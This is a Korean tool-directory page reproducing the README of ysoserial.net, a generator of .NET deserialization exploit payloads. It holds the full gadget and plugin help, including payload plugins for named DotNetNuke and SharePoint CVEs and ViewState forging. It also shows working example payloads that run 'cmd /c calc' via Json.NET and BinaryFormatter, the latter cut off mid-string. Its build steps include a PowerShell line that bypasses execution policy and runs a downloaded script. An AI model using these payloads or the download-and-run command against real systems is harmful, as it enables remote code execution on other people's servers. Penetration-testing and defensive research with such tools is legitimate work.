Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ysoserial.net — 다양한 .NET 포매터용 역직렬화 페이로드 생성기 | Kitploit
도구/GitHubGitHub/pwntester/ysoserial.net
Payload GenerationExploitationWeb Application ExploitationPenetration Testing
GitHubpwntester/ysoserial.net

ysoserial.net

다양한 .NET 포매터용 역직렬화 페이로드 생성기

저장소 보기
3.8k5242개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

logo

GitHub CI v2 download license stars forks

안전하지 않은 .NET 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명 도구입니다.

설명

ysoserial.net은 일반적인 .NET 라이브러리에서 발견된 유틸리티 및 프로퍼티 지향 프로그래밍 "가젯 체인"의 모음으로, 적절한 조건에서 unsafe 객체 역직렬화를 수행하는 .NET 애플리케이션을 악용할 수 있습니다. 메인 드라이버 프로그램은 사용자가 지정한 명령을 가져와 사용자가 지정한 가젯 체인에 래핑한 후 이러한 객체를 stdout으로 직렬화합니다. 필요한 가젯이 클래스패스에 있는 응용 프로그램이 이 데이터를 안전하지 않게 역직렬화하면, 체인이 자동으로 호출되어 명령이 애플리케이션 호스트에서 실행됩니다.

취약점은 unsafe 역직렬화를 수행하는 애플리케이션에 있으며, 클래스패스에 가젯이 있는 것이 아님에 유의해야 합니다.

이 프로젝트는 Chris Frohoff의 ysoserial 프로젝트에서 영감을 받았습니다.

면책 조항

이 소프트웨어는 학술 연구와 효과적인 방어 기술 개발을 위한 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

이 소프트웨어는 개인 프로젝트이며 프로젝트 소유자 및 기여자의 고용주를 포함한 어떤 회사와도 관련이 없습니다.

설치

최신 버전을 얻으려면 Actions 페이지에서 다운로드하는 것이 좋습니다.

이전 YSoSerial.NET 릴리스는 릴리스 페이지에서 설치할 수 있습니다.

소스에서 빌드:```powershell

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

choco install visualstudio2022community --yes choco install visualstudio2022-workload-nativedesktop --yes choco install choco install msbuild.communitytasks --yes choco install nuget.commandline --yes choco install git --yes

git clone https://github.com/pwntester/ysoserial.net cd ysoserial.net nuget restore ysoserial.sln msbuild ysoserial.sln -p:Configuration=Release

.\ysoserial\bin\Release\ysoserial.exe -h

root@kitploit:~
## 사용법```
$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

== GADGETS ==
	(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator 
			                               [default], 2 -> use 
			                               TextFormattingRunPropertiesMarshal
			
	(*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
		Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (default), 2 (shorter but may not 
			                               work between versions)
			
	(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (default), 2 (shorter but may not 
			                               work between versions)
			
	(*) AxHostState
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]
		Formatters: Json.NET
			Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll
	(*) ClaimsIdentity
		Formatters: BinaryFormatter, LosFormatter, SoapFormatter
			Labels: Bridge and derived, OnDeserialized
			Supported formatter for the bridge: BinaryFormatter
	(*) ClaimsPrincipal
		Formatters: BinaryFormatter, LosFormatter, SoapFormatter
			Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
			Supported formatter for the bridge: BinaryFormatter
	(*) DataSet
		Formatters: BinaryFormatter, LosFormatter, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) DataSetOldBehaviour [This gadget targets an old behavior of DataSet which uses XML format]
		Formatters: BinaryFormatter, LosFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: LosFormatter
			Extra options:
			      --spoofedAssembly=VALUE
			                             The assembly name you want to use in the 
			                               generated serialized object (example: 'mscorlib')
			
	(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter, LosFormatter
			Labels: Bridge and derived
			Extra options:
			      --spoofedAssembly=VALUE
			                             The assembly name you want to use in the 
			                               generated serialized object (example: 'mscorlib')
			
	(*) DataSetTypeSpoof [A more advanced type spoofing that can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
		Formatters: BinaryFormatter, LosFormatter, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) GenericPrincipal
		Formatters: BinaryFormatter, LosFormatter
			Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
			Supported formatter for the bridge: BinaryFormatter
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (uses serialized ClaimsIdentities), 2 
			                               (uses serialized Claims)
			
	(*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument]
		Formatters: Json.NET
			Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available
			Extra options:
			      --var, --variant=VALUE Variant number. Variant defines a different 
			                               getter-call gadget. Choices: 

			                               1 (default) - PropertyGrid getter-call gadget, 

			                               2 - ComboBox getter-call gadget (may load DLL 
			                               twice)

			                               3 - ListBox getter-call gadget

			                               4 - CheckedListBox getter-call gadget
			
	(*) GetterSecurityException
		Formatters: Json.NET
			Labels: Chain of arbitrary getter call and derived gadget
			Extra options:
			      --var, --variant=VALUE Variant number. Variant defines a different 
			                               getter-call gadget. Choices: 

			                               1 (default) - PropertyGrid getter-call gadget, 

			                               2 - ComboBox getter-call gadget (may execute 
			                               code twice)

			                               3 - ListBox getter-call gadget

			                               4 - CheckedListBox getter-call gadget
			
	(*) GetterSettingsPropertyValue
		Formatters: Json.NET, MessagePackTypeless, MessagePackTypelessLz4, Xaml
			Labels: Chain of arbitrary getter call and derived gadget
			Extra options:
			      --var, --variant=VALUE Variant number. Variant defines a different 
			                               getter-call gadget. Choices: 

			                               1 (default) - PropertyGrid getter-call gadget, 

			                               2 - ComboBox getter-call gadget (may execute 
			                               code twice)

			                               3 - ListBox getter-call gadget

			                               4 - CheckedListBox getter-call gadget
			
	(*) ObjectDataProvider
		Formatters: DataContractSerializer (2), FastJson, FsPickler, JavaScriptSerializer, Json.NET, MessagePackTypeless, MessagePackTypelessLz4, SharpSerializerBinary, SharpSerializerXml, Xaml (4), XmlSerializer (2), YamlDotNet < 5.0.0
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1, 2, 3, ... based on formatter.
			      --xamlurl=VALUE        This is to create a very short payload when 
			                               affected box can read the target XAML URL e.g. 
			                               "http://b8.ee/x" (can be a file path on a shared 
			                               drive or the local system). This is used by the 
			                               3rd XAML payload which is a ResourceDictionary 
			                               with the Source parameter. Command parameter 
			                               will be ignored. The shorter the better!
			
	(*) ObjRef
		Formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter
			Labels: Not bridge or derived
	(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Not bridge but derived
	(*) ResourceSet
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
			Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
			Extra options:
			      --ig, --internalgadget=VALUE
			                             The numerical internal gadget choice to use: 
			                               1=TypeConfuseDelegate, 
			                               2=TextFormattingRunProperties (default: 1 
			                               [TypeConfuseDelegate])
			
	(*) RolePrincipal
		Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) SessionSecurityToken
		Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) SessionViewStateHistoryItem
		Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: LosFormatter
	(*) TextFormattingRunProperties [This normally generates the shortest payload]
		Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --xamlurl=VALUE        This is to create a very short payload when 
			                               affected box can read the target XAML URL e.g. 
			                               "http://b8.ee/x" (can be a file path on a shared 
			                               drive or the local system). This is used by the 
			                               3rd XAML payload of ObjectDataProvider which is 
			                               a ResourceDictionary with the Source parameter. 
			                               Command parameter will be ignored. The shorter 
			                               the better!
			      --hasRootDCS           To include a root element with the 
			                               DataContractSerializer payload.
			
	(*) ToolboxItemContainer
		Formatters: BinaryFormatter, LosFormatter, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) TypeConfuseDelegate
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
			Labels: Not bridge or derived
	(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
			Labels: Not bridge or derived
	(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
		Formatters: BinaryFormatter (3), DataContractSerializer (2), Json.NET (2), LosFormatter (3), NetDataContractSerializer (3), SoapFormatter (2)
			Labels: Bridge and derived, Not in GAC
			Supported formatter for the bridge: BinaryFormatter
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1, 2, or 3 based on formatter.
			
	(*) WindowsIdentity
		Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) WindowsPrincipal
		Formatters: BinaryFormatter, DataContractJsonSerializer, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Bridge and derived
	(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator 
			                               [default], 2 -> use 
			                               TextFormattingRunPropertiesMarshal
			
	(*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]
		Formatters: Json.NET
			Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC
			Extra options:
			      --var, --variant=VALUE Variant number. Variant defines a different 
			                               Stream delivery class. Choices: 

			                               1 (default and GAC) - LazyFileStream for Stream 
			                               delivery, file path has to be provided for -c 
			                               argument (UNC or local) 

			                               2 (non-GAC, requires Microsoft.Web.Deploymen-
			                               t.dll) - ReadOnlyStreamFromStrings for Stream 
			                               delivery, command to execute can be provided for 
			                               -c argument
			

== PLUGINS ==
	(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
		Options:
		  -c, --command=VALUE        the command to be executed.
		  -u, --url=VALUE            the url passed to Activator.GetObject.
		  -s                         if TCPChannel security should be enabled.
		
	(*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
		Options:
		  -M, --mode=VALUE           the payload mode: HttpStaticObjectsCollection or 
		                               SessionStateItemCollection. Default: 
		                               HttpStaticObjectsCollection
		  -o, --output=VALUE         the output format (raw|base64).
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
		Options:
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) Clipboard (Generates payload for DataObject and copies it into the clipboard - ready to be pasted in affected apps)
		Options:
		  -F, --format=VALUE         the object format: Csv, DeviceIndependentBitmap, 
		                               DataInterchangeFormat, PenData, RiffAudio, 
		                               WindowsForms10PersistentObject, System.String, 
		                               SymbolicLink, TaggedImageFileFormat, WaveAudio. 
		                               Default: WindowsForms10PersistentObject (the 
		                               only one that works in Feb 2020 as a result of 
		                               an incomplete silent patch - will not be useful 
		                               to target text-based fields anymore)
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
		Options:
		  -m, --mode=VALUE           the payload mode: read_file, write_file, 
		                               run_command.
		  -c, --command=VALUE        the command to be executed in run_command mode.
		  -u, --url=VALUE            the url to fetch the file from in write_file 
		                               mode.
		  -f, --file=VALUE           the file to read in read_file mode or the file 
		                               to write to in write_file_mode.
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		
	(*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled, run with -l for more help)
		Options:
		  -l                         prints list of implemented gadgets
		  -i, --inner=VALUE          file containing inner-gadget
		  -g, --gadget=VALUE         gadget to use
		  -m, --member=VALUE         getter to call (required for some gadgets)
		  -t                         test gadget (execute)
		      --minify               minify gadget
		
	(*) MachineKeySessionSecurityTokenHandler (Generates XML payload for the MachineKeySessionSecurityTokenHandler class)
		Options:
		  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc"
		  -t, --test                 In this scenario, the test mode should not be 
		                               applied, as the sink point relies on the web 
		                               environment. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		      --vk, --validationkey=VALUE
		                             Enter the validationKey from the web.config
		      --ek, --decryptionkey=VALUE
		                             Enter the decryptionKey from the web.config
		      --va, --validationalg=VALUE
		                             Enter the validation from the web.config. 
		                               Default: HMACSHA1. e.g: 
		                               HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512
		      --da, --decryptionalg=VALUE
		                             Enter the decryption from the web.config. 
		                               Default: AES. e.g: AES/DES/3DES
		
	(*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework)
		Options:
		  -l                         prints list of implemented gadgets
		  -i, --input=VALUE          input to the gadget
		  -g, --gadget=VALUE         gadget to use
		  -f, --formatter=VALUE      Formatter to use
		  -t                         test gadget (execute after generation)
		      --minify               minify gadget
		
	(*) Resx (Generates RESX and .RESOURCES files)
		Options:
		  -M, --mode=VALUE           the payload mode: indirect_resx_file, 
		                               CompiledDotResources (useful for CVE-2020-0932 
		                               for example), BinaryFormatter, SoapFormatter.
		  -c, --command=VALUE        the command to be executed in BinaryFormatter 
		                               and CompiledDotResources. If this is provided 
		                               for SoapFormatter, it will be used as a file for 
		                               ActivitySurrogateSelectorFromFile
		  -g, --gadget=VALUE         The gadget chain used for BinaryFormatter and 
		                               CompiledDotResources (default: 
		                               TextFormattingRunProperties).
		  -F, --file=VALUE           UNC file path location: this is used in 
		                               indirect_resx_file mode.
		      --of, --outputfile=VALUE
		                             a file path location for CompiledDotResources to 
		                               store the .resources file (default: payloa-
		                               d.resources)
		  -t, --test                 Whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
		Options:
		  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc"
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
		Options:
		      --cve=VALUE            the CVE reference: CVE-2020-1147 (result is safe 
		                               for a POST request), CVE-2019-0604, CVE-2018-8421
		      --useurl               to use the XAML url rather than using the direct 
		                               command in CVE-2019-0604 and CVE-2018-8421
		  -g, --gadget=VALUE         a gadget chain that supports LosFormatter for 
		                               CVE-2020-1147. Default: TypeConfuseDelegate 
		  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc" or 
		                               the XAML url e.g. "http://b8.ee/x" to make the 
		                               payload shorter with the `--useurl` argument
		
	(*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries)
		Options:
		  -l                         prints list of implemented gadgets
		  -i, --input=VALUE          input to the gadget
		  -g, --gadget=VALUE         gadget to use
		  -f, --formatter=VALUE      formatter to use
		  -r                         removes version and pubkeytoken from types, it 
		                               may be useful when we do not know the version of 
		                               targeted library or require a short payload
		  -t                         test gadget (execute after generation)
		      --minify               minify gadget
		
	(*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
		Options:
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) ViewState (Generates a ViewState using known MachineKey parameters)
		Options:
		      --examples             Show a few examples. Other parameters will be 
		                               ignored.
		      --dryrun               Create a valid ViewState without using an 
		                               exploit payload. The gadget and command 
		                               parameters will be ignored.
		  -g, --gadget=VALUE         A gadget chain that supports LosFormatter. 
		                               Default: ActivitySurrogateSelector.
		  -c, --command=VALUE        The command suitable for the used gadget (will 
		                               be ignored for ActivitySurrogateSelector).
		      --rawcmd               Command will be executed as is without `cmd /c ` 
		                               being appended (anything after the first space 
		                               is an argument).
		  -s, --stdin                The command to be executed will be read from 
		                               standard input.
		      --usp, --unsignedpayload=VALUE
		                             The unsigned LosFormatter payload (base64 
		                               encoded). The gadget and command parameters will 
		                               be ignored.
		      --isfileusp            Indicates that the unsigned payload contains a 
		                               file name (e.g., payload.txt).
		      --vsg, --generator=VALUE
		                             The __VIEWSTATEGENERATOR value in HEX, useful 
		                               for .NET <= 4.0. When not empty, 'legacy' will 
		                               be used and 'path' and 'apppath' will be ignored.
		      --path=VALUE           The target web page. Example: /app/folder1/pag-
		                               e.aspx.
		      --pathisclass          Indicates that the path is a class name and 
		                               should not be modified.
		      --apppath=VALUE        The application path. Needed to simulate 
		                               TemplateSourceDirectory.
		      --islegacy             Use the legacy algorithm suitable for .NET 4.0 
		                               and below.
		      --isencrypted          Use when the legacy algorithm is used to bypass 
		                               WAFs.
		      --vsuk, --viewstateuserkey=VALUE
		                             Sets the ViewStateUserKey parameter, sometimes 
		                               used as the anti-CSRF token.
		      --da, --decryptionalg=VALUE
		                             The encryption algorithm can be set to DES, 3DE-
		                               S, or AES. Default: AES.
		      --dk, --decryptionkey=VALUE
		                             The decryptionKey attribute from machineKey in 
		                               the web.config file.
		      --va, --validationalg=VALUE
		                             The validation algorithm can be set to SHA1, 
		                               HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, 
		                               or AES. Default: HMACSHA256.
		      --vk, --validationkey=VALUE
		                             The validationKey attribute from machineKey in 
		                               the web.config file.
		      --showraw              Stop URL-encoding the result. Default: false.
		      --minify               Minify the payloads where applicable 
		                               (experimental). Default: false.
		      --ust, --usesimpletype Remove additional info only when minifying and 
		                               FormatterAssemblyStyle=Simple. Default: true.
		      --isdebug              Show useful debugging messages.
		

Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

Usage: ysoserial.exe [options]
Options:
  -p, --plugin=VALUE         The plugin to be used.
  -o, --output=VALUE         The output format (raw|base64|raw-
                               urlencode|base64-urlencode|hex).
  -g, --gadget=VALUE         The gadget chain.
  -f, --formatter=VALUE      The formatter.
  -c, --command=VALUE        The command to be executed.
      --rawcmd               Command will be executed as is without `cmd /c ` 
                               being appended (anything after first space is an 
                               argument).
  -s, --stdin                The command to be executed will be read from 
                               standard input.
      --bgc, --bridgedgadgetchains=VALUE
                             Chain of bridged gadgets separated by comma (,). 
                               Each gadget will be used to complete the next 
                               bridge gadget. The last one will be used in the 
                               requested gadget. This will be ignored when 
                               using the searchformatter argument.
  -t, --test                 Whether to run payload locally. Default: false
      --outputpath=VALUE     The output file path. It will be ignored if 
                               empty.
      --minify               Whether to minify the payloads where applicable. 
                               Default: false
      --ust, --usesimpletype This is to remove additional info only when 
                               minifying and FormatterAssemblyStyle=Simple 
                               (always `true` with `--minify` for binary 
                               formatters). Default: true
      --raf, --runallformatters
                             Whether to run all the gadgets with the provided 
                               formatter (ignores gadget name, output format, 
                               and the test flag arguments). This will search 
                               in formatters and also show the displayed 
                               payload length. Default: false
      --sf, --searchformatter=VALUE
                             Search in all formatters to show relevant 
                               gadgets and their formatters (other parameters 
                               will be ignored).
      --debugmode            Enable debugging to show exception errors and 
                               output length
  -h, --help                 Shows this message and exit.
      --fullhelp             Shows this message + extra options for gadgets 
                               and plugins and exit.
      --credit               Shows the credit/history of gadgets and plugins 
                               (other parameters will be ignored).
      --runmytest            Runs that `Start` method of `TestingArenaHome` - 
                               useful for testing and debugging.

참고: 복잡한 명령을 지정할 때는 일부 특수 문자(;, |, &, ..)를 이스케이프하는 것이 번거로울 수 있습니다. (-s) stdin 옵션을 사용하여 stdin에서 명령을 읽으십시오:``` cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

root@kitploit:~
*참고:* XmlSerializer 및 DataContractSerializer 포맷터는 DotNetNuke에서 사용되는 것처럼 루트 노드의 "type" 속성에 예상 유형을 포함하는 래퍼 Xml 형식을 생성합니다. 사용 사례에 따라 XmlSerializer가 예상 유형을 얻는 방식에 따라 생성된 xml을 수정해야 할 수도 있습니다.

## 플러그인
Ysoserial.Net은 플러그인 아키텍처를 사용하여 원시 페이로드나 더 복잡한 페이로드를 생성하는 데 사용할 수 있습니다. 플러그인을 사용하려면 `-p <plugin name>`을 사용하고 그 뒤에 플러그인 옵션을 지정합니다(나머지 ysoserial.net 옵션은 무시됩니다). 예:```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

플러그인 옵션에 대한 자세한 도움말은 -h와 -p <plugin name>을 함께 사용하세요. 예:``` $ ./ysoserial.exe -h -p DotNetNuke

ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

-m, --mode=VALUE the payload mode: read_file, write_file, run_command. -c, --command=VALUE the command to be executed in run_command mode. -u, --url=VALUE the url to fetch the file from in write_file mode. -f, --file=VALUE the file to read in read_file mode or the file to write to in write_file_mode. --minify Whether to minify the payloads where applicable (experimental). Default: false --ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

root@kitploit:~
### 예제

### **calc.exe** 페이로드를 *ObjectDataProvider* 가젯을 사용하여 Json.Net용으로 생성.```
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

BinaryFormatter용 calc.exe 페이로드를 PSObject 가젯을 사용하여 생성합니다.```

$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgIC